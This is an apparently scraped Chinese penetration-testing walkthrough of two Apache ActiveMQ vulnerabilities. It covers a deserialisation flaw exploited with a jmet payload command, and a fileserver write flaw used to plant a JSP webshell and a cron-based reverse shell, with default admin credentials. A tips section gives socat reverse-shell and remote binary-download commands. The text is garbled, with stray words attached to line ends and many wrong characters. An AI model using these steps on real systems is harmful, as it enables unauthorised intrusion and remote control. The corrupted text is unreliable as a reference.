0x00 简介html
Apache ActiveMQ
是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。java
0x01 环境搭建python
本文所使用apachemq版本为:5.11.0
下载地址:http://activemq.apache.org/activemq-5110-release.html
解压后linux
./bin/activemq start 启动 netstat -ntlp|grep 8161 查看是否启动成功(8161为默认端口)
0x02 反序列化漏洞(CVE-2015-5254)git
Apache ActiveMQ 5.13.0以前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage
对象利用该漏洞执行任意代码。github
8161为ActiveMQ的默认web管理端口
,61616默认为ActiveMQ消息队列端口
。web
使用jmet
进行漏洞利用,jmet下载地址:
https://github.com/matthiaskaiser/jmet/releasesshell
jmet构造event事件apache
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "payload" -Yp ROME 192.168.124.128 61616
报错:vim
在jmet目录下建立external
文件夹便可
构造反弹shell的payload发送到反序列化的消息队列中
查看消息:
当点击消息时触发:
0x03 任意文件写入漏洞(CVE-2016-3088)
该漏洞影响Apache ActiveMQ 5.x ~ 5.14.0,但在5.12.x~5.13.x
版本中,已经默认关闭了fileserver
这个应用(能够在conf/jetty.xml中开启之)。在5.14.0
版本之后,完全删除了fileserver应用。
ActiveMQ 中的 FileServer 服务容许用户经过 HTTP PUT
方法上传文件到指定目录。FileServer是储存文件的接口。FileServer支持写入文件(不解析jsp),可是支持移动文件(Move
)咱们能够将jsp的文件PUT到FileServer下而后再经过Move指令移动到可执行目录下访问。
使用PUT
方法进行上传测试:
成功访问说明文件已经put
上去,咱们能够直接put jsp小马/大马 移动到可解析目录就能够getshell了。webapps/api/
或者 webapps/admin/
下均可以解析jsp。可是要移动文件到可解析目录,须要获取绝对路径
这里介绍两种获取绝对路径的方法:
1.访问http://ip:8161/admin/test/systemProperties.jsp
2.构造错误上传路径可爆出绝对路径(此版本未成功,其余版本可自行测试)
上传Webshell:
根据获取的绝对路径,移动到Web目录下的/root/apache-activemq-5.11.0/webapps/admin/test.jsp
访问shell(需登陆,默认密码 admin
/admin
)
同理也可写入ssh key进行公钥登陆
写入corntab
反弹shell(须要activemq 以root权限运行)
移动到/etc/cron.d/root
监听接收shell
crontab定时任务
文件写入到 /etc/crontab.d/
中
minute hour day month week command 顺序:分 时 日 月 周 * * * * * command 表明每分钟执行一次
0x04 TIPS
一般咱们测试中反弹的shell,操做很简陋,有时候输错一个命令就意味着丢失shell,没有tab,没有vim,等等很不友好!
下面分享几种得到完美shell的方法:
1.使用python pty
模块,能够生成一个伪终端
当咱们接收到反弹回来的shell的时候执行
python -c 'import pty; pty.spawn("/bin/bash")'
2.使用socat
Socat 像nc同样是一个强大的工具,经过tcp链接,创建完整的tty,若是受害者服务器安装了socat
,你就能够用它来反弹shell。若是没有安装可使用以下命令安装:
wget https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat;chmod +x socat
Listen:
socat file:`tty`,raw,echo=0 tcp-listen:4444
Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:4444
3.加了魔法的netcat
首先第一步咱们按照第一种方法python pty的方式获取一个shell
接着用组合键“Ctrl-Z
”将shell放到后台中去。
检查当前终端和styy信息:
须要的信息为term类型(xterm
)和当前stty大小(rows 33; columns 191)
让shell继续保持在后台运行,如今将当前的STTY
设置为原始类型,并告诉它回显输入字符
用“fg
”将shell提到前台来,用“reset
”重置终端
最后利用上面收集的信息设置shell终端类型以及stty
大小。
参考连接:https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys